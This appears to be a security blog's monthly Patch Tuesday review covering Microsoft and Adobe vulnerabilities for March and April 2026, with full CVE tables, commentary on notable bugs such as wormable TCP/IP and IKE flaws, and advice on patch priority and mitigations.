Another month and another pair of Office bugs where the Preview Pane is an exploit vector. I’ve lost count of how many of these bugs have been patched over the last year, but it’s just a matter of time until they start appearing in active exploits. The latest versions of Outlook allow you to hide the Preview Pane, but it isn’t clear if this would mitigate these attacks. The best option is still to test and deploy the update, but considering how many of these patches exist, it’s likely further updates will be needed to fully address these issues.

- CVE-2026-23669 - Windows Print Spooler Remote Code Execution Vulnerability
Just reading the title makes me twitch with remembrances of Print Nightmare from a few years ago. This bug works in the same manner as those exploits. An authenticated attacker sends specially crafted messages to an affected system to gain arbitrary code execution. No user interaction is required. Let’s hope we don’t end up in a new nightmare of spooler exploits. Test and deploy this one quickly.

- CVE-2026-23668 - Windows Graphics Component Elevation of Privilege Vulnerability
This vulnerability was submitted to the ZDI program by Marcin Wiązowski as two separate bugs, and it demonstrates the need for variant investigations when creating security patches. Both cases are caused by the lack of proper locking when performing operations on an object. However, in one case, it’s in the cdd.dll driver while the other is in the win32kfull driver. Either way, an attacker could use these to elevate privileges to SYSTEM and execute arbitrary code. Since the fix for both is to add object locking to the GDI object, the cases are combined into a single CVE. That’s not a problem, but it does show how variants can occur, and fixes should be as broad as possible.

Here’s the full list of CVEs released by Microsoft for March 2026:

CVE	Title	Severity	CVSS	Public	Exploited	Type
CVE-2026-26127	.NET Denial of Service Vulnerability	Important	7.5	Yes	No	DoS
CVE-2026-21262	SQL Server Elevation of Privilege Vulnerability	Important	8.8	Yes	No	EoP
CVE-2026-23651	Microsoft ACI Confidential Containers Elevation of Privilege Vulnerability	Critical	6.7	No	No	EoP
CVE-2026-26124	Microsoft ACI Confidential Containers Elevation of Privilege Vulnerability	Critical	6.7	No	No	EoP
CVE-2026-26122	Microsoft ACI Confidential Containers Information Disclosure Vulnerability	Critical	6.5	No	No	Info
CVE-2026-21536	Microsoft Devices Pricing Program Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-26144	Microsoft Excel Information Disclosure Vulnerability	Critical	7.5	No	No	Info
CVE-2026-26110	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-26113	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-26125	Payment Orchestrator Service Elevation of Privilege Vulnerability	Critical	8.6	No	No	EoP
CVE-2026-26131	.NET Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25177	Active Directory Domain Services Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-26117	Arc Enabled Servers - Azure Connected Machine Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26130	ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-23661	Azure IoT Explorer Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-23662	Azure IoT Explorer Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-23664	Azure IoT Explorer Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-26121	Azure IOT Explorer Spoofing Vulnerability	Important	7.5	No	No	Spoofing
CVE-2026-26118	Azure MCP Server Tools Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-23667	Broadcast DVR Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-25190	GDI Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-25181	GDI+ Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-26030 *	GitHub: CVE-2026-26030 Microsoft Semantic Kernel InMemoryVectorStore filter functionality vulnerable	Important	9.9	No	No	RCE
CVE-2026-23654 *	GitHub: Zero Shot SCFoundation Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-26141	Hybrid Worker Extension (Arc-enabled Windows VMs) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23665 †	Linux Azure Diagnostic extension (LAD) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23674	MapUrlToZone Security Feature Bypass Vulnerability	Important	7.5	No	No	SFB
CVE-2026-26123	Microsoft Authenticator Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-26148 †	Microsoft Azure AD SSH Login extension for Linux Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-25167	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.4	No	No	EoP
CVE-2026-26107	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-26108	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-26109	Microsoft Excel Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-26112	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-26134	Microsoft Office Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26106	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-26114	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-26105	Microsoft SharePoint Server Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-24283	Multiple UNC Provider Kernel Driver Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-25165	Performance Counters for Windows Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-24282	Push message Routing Service Elevation of Privilege Vulnerability	Important	5.5	No	No	Info
CVE-2026-26115	SQL Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-26116	SQL Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-20967	System Center Operations Manager (SCOM) Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-24285	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-24291	Windows Accessibility Infrastructure (ATBroker.exe) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25186	Windows Accessibility Infrastructure (ATBroker.exe) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-23660 †	Windows Admin Center in Azure Portal Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-24293	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25176	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25178	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-25179	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-23656	Windows App Installer Spoofing Vulnerability	Important	5.9	No	No	Spoofing
CVE-2026-25171	Windows Authentication Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-23671	Windows Bluetooth RFCOM Protocol Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-24292	Windows Connected Devices Platform Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-24295	Windows Device Association Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-24296	Windows Device Association Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-25189	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25174	Windows Extensible File Allocation Table Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25168	Windows Graphics Component Denial of Service Vulnerability	Important	6.2	No	No	DoS
CVE-2026-25169	Windows Graphics Component Denial of Service Vulnerability	Important	6.2	No	No	DoS
CVE-2026-23668	Windows Graphics Component Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-25180	Windows Graphics Component Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-25170	Windows Hyper-V Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-24297	Windows Kerberos Security Feature Bypass Vulnerability	Important	6.5	No	No	SFB
CVE-2026-24287	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-24289	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26132	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-24288	Windows Mobile Broadband Driver Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-25175	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23669	Windows Print Spooler Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-24290	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23673	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25172	Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-25173	Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-26111	Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-25185	Windows Shell Link Processing Spoofing Vulnerability	Important	5.3	No	No	Spoofing
CVE-2026-24294	Windows SMB Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26128	Windows SMB Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25166	Windows System Image Manager Assessment and Deployment Kit (ADK) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-25188	Windows Telephony Service Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-23672	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25187	Winlogon Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-3536 *	Chromium: CVE-2026-3536 Integer overflow in ANGLE	Critical	N/A	No	No	RCE
CVE-2026-3538 *	Chromium: CVE-2026-3538 Integer overflow in Skia	Critical	N/A	No	No	RCE
CVE-2026-3539 *	Chromium: CVE-2026-3539 Object lifecycle issue in DevTools	High	N/A	No	No	RCE
CVE-2026-3540 *	Chromium: CVE-2026-3540 Inappropriate implementation in WebAudio	High	N/A	No	No	RCE
CVE-2026-3541 *	Chromium: CVE-2026-3541 Inappropriate implementation in CSS	High	N/A	No	No	RCE
CVE-2026-3542 *	Chromium: CVE-2026-3542 Inappropriate implementation in WebAssembly	High	N/A	No	No	RCE
CVE-2026-3543 *	Chromium: CVE-2026-3543 Inappropriate implementation in V8	High	N/A	No	No	RCE
CVE-2026-3544 *	Chromium: CVE-2026-3544 Heap buffer overflow in WebCodecs	High	N/A	No	No	RCE
CVE-2026-3545 *	Chromium: CVE-2026-3545 Insufficient data validation in Navigation	High	N/A	No	No	RCE

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Looking at the other Critical-rated bugs in this month’s release, they are all cloud-native and require no user action. Microsoft has already remediated the vulnerabilities.

Moving on to the other code execution bugs, the vulnerabilities in SharePoint Server pop out first. Both require authentication, but it’s essentially the lowest level of authentication, so these would be ideal cases for lateral movement within an enterprise. There are the standard open-and-own cases within Office components. There an interesting sounding bug in the Windows Mobile Broadband Driver that requires physical access, but Microsoft doesn’t elaborate on the attack scenario beyond that fact. The bug in the System Image Manager Assessment and Deployment Kit (ADK) requires authentication. The bug in GDI requires user interaction. The remaining code execution bugs are in the RRAS protocol. We’ve seen bugs in this component in the past, but never in the wild. I wouldn’t ignore these, but I wouldn’t rush them out either.

Similar to last month, updates for Elevation of Privilege (EoP) bugs make up nearly half of this month’s release. And as we saw last month, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. The bugs in SQL Server allow attackers to elevate to SQL sysadmin privileges. The bug in the Azure MCP Server is more complex. It allows attackers to obtain the permissions associated with the MCP Server’s managed identity, which lets them perform actions that the managed identity is able to reach. The bug in the Azure AD SSH Login extension for Linux leads to root access, and it won’t be easy to patch. You’ll need to run the update instructions from the command line on each affected system. That’s the same case for the bug in the Linux Azure Diagnostic extension (LAD). There’s an odd bug in the Hybrid Worker Extension (Arc‑enabled Windows VMs) that leads to “ELEVATED” privileges, which is something I’ve never seen before. The bug in the Broadcast DVR component allows an attacker to go from low integrity level up to medium. There’s a bug listed as an EoP in the Push message Routing Service, but reading the description, Microsoft notes it could lead to an information disclosure. It’s likely this is an error and should be an Information Disclosure bug. The final EoP is in the Azure Portal Windows Admin Center and leads to SYSTEM. However, there’s no patch to remediate this bug. Instead, you need to install the latest version of the Windows Admin Center extension through the Azure Portal by hand.

There are two security feature bypass patches in the March release. The first is a bypass of the MapURLToZone method, which (as expected) allows attackers to bypass MapURLToZone protections. The third bypass is in Kerberos and could allow an attacker to either view some sensitive information or make changes to “disclosed” information. This is a race condition that occurs while the group policy is being reapplied, so the window to exploit this would be extremely small.

Looking at the remaining info disclosure bugs getting patched this month, only two result in info leaks consisting of unspecified memory contents or memory addresses. Ther others provide more interesting results. There are three bugs in the Azure IoT Explorer have some wide-ranging implications. According to Microsoft, exploitation could result in, “device connection information, authentication tokens, request data, file paths, and other information transmitted between the application and the IoT Hub.” The bug in Authenticator almost reads like a security feature bypass, as exploit results in the disclosure of a one‑time sign‑in code or authentication deep link. The attacker would receive the sign‑in information and could potentially use it to authenticate as the user, allowing access to information or services available to that account. The last info disclosure bug is in the Accessibility Infrastructure and allows an attacker to gain secrets or privileged information belonging to the user of the affected application.

There are only four spoofing bugs in the March release. The first is in SharePoint server and manifests as an XSS. The second bug is a Server-Side Request Forgery (SSRF) in the Azure IoT Explorer. The remaining two are a bit more cryptic. The bug in Windows Shell Link Processing results from the “exposure of sensitive information to an unauthorized actor,” and could lead to spoofing. That sounds like credential exposure, but it’s not explicitly called out. The final spoofing bug results from the insufficient verification of data authenticity in Windows App Installer. Again, this sounds vaguely like credential reflection, but without further information, we can only speculate.

Finally, there are four denial-of-service (DoS) bugs in the release, including one that’s listed as publicly known in the .NET Framework. As usual, Microsoft provides no actionable information about these bugs.

No new advisories are being released this month.

Looking Ahead

I plan on being at RSA for the first time in my career, so if you’re around, please stop by and say hello. I like it when people say hello. Otherwise, I’ll be back on April 14 with my assessment of that patch Tuesday release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

The April 2026 Security Update Review

Sat, 25 Jul 2026 19:00:42 +0200

It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for April 2026

For April, Adobe released 12 bulletins addressing 61 unique CVEs in Adobe Acrobat Reader, InDesign, InCopy, FrameMaker, Connect, ColdFusion, Bridge, Photoshop, Illustrator, Experience Manager Screens, and the Adobe DNG SDK. Three of the Cold Fusion bugs came through the TrendAI ZDI program. For this month, I’m introducing an Adobe table as well. I’d love to get your feedback on whether this is helpful.

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-43	Adobe Acrobat Reader	1	Critical	8.6	Yes	1
APSB26-44	Adobe Acrobat Reader	2	Critical	8.6	No	2
APSB26-32	Adobe InDesign	9	Critical	7.8	No	3
APSB26-33	Adobe InCopy	2	Critical	7.8	No	3
APSB26-36	Adobe FrameMaker	11	Critical	8.6	No	3
APSB26-37	Adobe Connect	9	Critical	9.6	No	3
APSB26-38	Adobe ColdFusion	7	Critical	9.3	No	1
APSB26-39	Adobe Bridge	6	Critical	7.8	No	3
APSB26-40	Adobe Photoshop	1	Critical	7.8	No	3
APSB26-42	Adobe Illustrator	1	Critical	7.8	No	3
APSB26-34	Adobe Experience Manager Screens	9	Important	5.4	No	3
APSB26-41	Adobe DNG SDK	3	Important	5.5	No	3

Obviously, the active attack in Reader is the highest priority for this month, but don’t ignore the second bunch of Reader patches. Cold Fusion also gets a deployment priority of 1, so if you’re still running that platform, make sure you get the update. Otherwise, the FrameMaker and Connect patches fix 11 and nine bugs, respectively. InDesign and Experience Manager Screens also have nine CVEs addressed.

Outside of the Reader bug, none of the other bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. One of the Reader bugs and Cold Fusion have a deployment priority of one, the other Reader bug has a priority of two, while all of the other updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for April 2026

This month, Microsoft released a monstrous 163 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, SQL Server, Hyper-V Server, BitLocker, and the Windows Wallet Service. Counting the third-party and a huge Chromium release, it brings the total number of CVEs to a staggering 247 updates. Six of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, two are rated as Moderate, and the rest are rated Important in severity.

By my count, this is the second-largest monthly release in Microsoft’s history. There are many things we could speculate on to justify the size, but if Microsoft is like the other programs out there (including ours), they are likely seeing a rise in submissions found by AI tools. For us, our incoming rate has essentially tripled, making triage a challenge, to say the least. Whatever the reason, we have a lot of bugs to deal with this month. I should also point out that the Pwn2Own Berlin occurs next month, and it’s typical for vendors to patch as much as they can before the event.

There is one Microsoft bug listed as under active attack at the time of release, and one other that’s publicly known. Let’s take a closer look at some of the more interesting updates for this month, starting with the vulnerability being exploited in the wild:

- CVE-2026-32201 - Microsoft SharePoint Server Spoofing Vulnerability
Microsoft doesn’t provide a lot of information about this bug, but Spoofing bugs in SharePoint often manifest as cross-site scripting (XSS) bugs. They do note that attackers could view information or make changes to disclosed information. As always, they don’t provide any information on how widespread these attacks are, but I wouldn’t wait to test and deploy this fix – especially if you have internet-connected SharePoint servers.

- CVE-2026-33825 - Microsoft Defender Elevation of Privilege Vulnerability
This bug is listed as publicly known, and this time, we know exactly where it was disclosed. There have been some questions about how exploitable this bug may be, but it does look like it’s a real problem – just with some reliability issues in its current state. I won’t add on to the commentary from the researcher about working with Microsoft. I’m just glad they are offering a fix for the vulnerability. If you rely on Defender, test and deploy this one quickly.

- CVE-2026-33827 - Windows TCP/IP Remote Code Execution Vulnerability
This vulnerability allows remote, unauthenticated attackers to exploit code on affected systems without user interaction. That adds up to a wormable bug – at least on systems with IPv6 and IPSec enabled. It is a race condition, which sets exploitability to High on the CVSS scale, but we see race conditions exploited at Pwn2Own all the time, so don’t rely on that obstacle. If you’re running IPv6, I would test and deploy this fix quickly before public exploits become available.

- CVE-2026-33824 - Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability
Speaking of wormable bugs, here’s our second one this month. By the title, we can tell that systems with IKE enabled are affected, but that leaves plenty of targets for attackers. Microsoft also notes a significant mitigation for this bug. Blocking UDP ports 500 and 4500 at the perimeter prevents external attackers from reaching the affected service. However, insiders could still target this for lateral movement within an enterprise. For enterprises using IKE, get this fix tested and deployed with haste.

Here’s the full list of CVEs released by Microsoft for April 2026:

April 2026 Patch Tuesday

CVE	Title	Severity	CVSS	Public	Exploited	Type
CVE-2026-32201	Microsoft SharePoint Server Spoofing Vulnerability	Important	6.5	No	Yes	Spoofing
CVE-2026-5281 *	Chromium: CVE-2026-5281 Use after free in Dawn	High	N/A	No	Yes	RCE
CVE-2026-33825	Microsoft Defender Elevation of Privilege Vulnerability	Important	7.8	Yes	No	EoP
CVE-2026-23666	.NET Framework Denial of Service Vulnerability	Critical	7.5	No	No	DoS
CVE-2026-32190	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-33114	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-33115	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-32157	Remote Desktop Client Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-33826	Windows Active Directory Remote Code Execution Vulnerability	Critical	8	No	No	RCE
CVE-2026-33824	Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-33827	Windows TCP/IP Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-26171	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-32226	.NET Framework Denial of Service Vulnerability	Important	5.9	No	No	DoS
CVE-2026-32178	.NET Spoofing Vulnerability	Important	7.5	No	No	Spoofing
CVE-2026-32203	.NET and Visual Studio Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-33116	.NET, .NET Framework, and Visual Studio Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2023-20585 *	AMD: CVE-2023-20585 IOMMU Write Buffer Vulnerability	Important	5.3	No	No	RCE
CVE-2026-32072	Active Directory Spoofing Vulnerability	Important	6.2	No	No	Spoofing
CVE-2026-25184	Applocker Filter Driver (applockerfltr.sys) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32171	Azure Logic Apps Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-32168	Azure Monitor Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32192	Azure Monitor Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32181	Connected User Experiences and Telemetry Service Denial of Service Vulnerability	Important	5.5	No	No	DoS
CVE-2026-27924	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32152	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32154	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27923	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32155	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23653	GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability	Important	5.7	No	No	Info
CVE-2026-23653 *	GitHub: CVE-2026-32631 'git clone' from manipulated repositories can leak NTLM hashes	Important	7.4	No	No	Info
CVE-2026-33096	HTTP.sys Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-25250 *	MITRE: CVE-2026-25250 Secure Boot disable Eazy Fix	Important	6	No	No	SFB
CVE-2026-26181	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32219	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32091	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	8.4	No	No	EoP
CVE-2026-26152	Microsoft Cryptographic Services Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33103	Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32188	Microsoft Excel Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-32189	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32197	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32198	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32199	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32184	Microsoft High Performance Compute (HPC) Pack Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26155	Microsoft Local Security Authority Subsystem Service Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-27914	Microsoft Management Console Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26149	Microsoft Power Apps Security Feature Bypass	Important	9	No	No	SFB
CVE-2026-32200	Microsoft PowerPoint Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-26143	Microsoft PowerShell Security Feature Bypass Vulnerability	Important	7.8	No	No	SFB
CVE-2026-33120 †	Microsoft SQL Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-20945	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-33822	Microsoft Word Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-33095	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-23657	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32081	Package Catalog Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-26170	PowerShell Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26183	Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26160	Remote Desktop Licensing Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26159	Remote Desktop Licensing Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26151	Remote Desktop Spoofing Vulnerability	Important	7.1	No	No	Spoofing
CVE-2026-32085	Remote Procedure Call Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32167	SQL Server Elevation of Privilege Vulnerability	Important	6.7	No	No	EoP
CVE-2026-32176	SQL Server Elevation of Privilege Vulnerability	Important	6.7	No	No	EoP
CVE-2026-0390	UEFI Secure Boot Security Feature Bypass Vulnerability	Important	6.7	No	No	SFB
CVE-2026-32220	UEFI Secure Boot Security Feature Bypass Vulnerability	Important	4.4	No	No	SFB
CVE-2026-32212	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32214	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32079	Web Account Manager Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-33104	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32196	Windows Admin Center Spoofing Vulnerability	Important	6.1	No	No	Spoofing
CVE-2026-26178	Windows Advanced Rasterization Platform Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-32073	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26168	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26173	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26177	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26182	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27922	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33099	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33100	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32088	Windows Biometric Service Security Feature Bypass Vulnerability	Important	6.1	No	No	SFB
CVE-2026-27913	Windows BitLocker Security Feature Bypass Vulnerability	Important	7.7	No	No	SFB
CVE-2026-26175	Windows Boot Manager Security Feature Bypass Vulnerability	Important	4.6	No	No	SFB
CVE-2026-32162	Windows COM Elevation of Privilege Vulnerability	Important	8.4	No	No	EoP
CVE-2026-20806	Windows COM Server Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-26176	Windows Client Side Caching driver (csc.sys) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27926	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32070	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33098	Windows Container Isolation FS Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26153	Windows Encrypted File System (EFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32087	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32093	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32086	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32150	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27931	Windows GDI Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-27930	Windows GDI Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32221	Windows Graphics Component Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-27906	Windows Hello Security Feature Bypass Vulnerability	Important	4.4	No	No	SFB
CVE-2026-27928	Windows Hello Security Feature Bypass Vulnerability	Important	8.7	No	No	SFB
CVE-2026-26156	Windows Hyper-V Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32149	Windows Hyper-V Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-27910	Windows Installer Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27912	Windows Kerberos Elevation of Privilege Vulnerability	Important	8	No	No	EoP
CVE-2026-26179	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26180	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32195	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26163	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
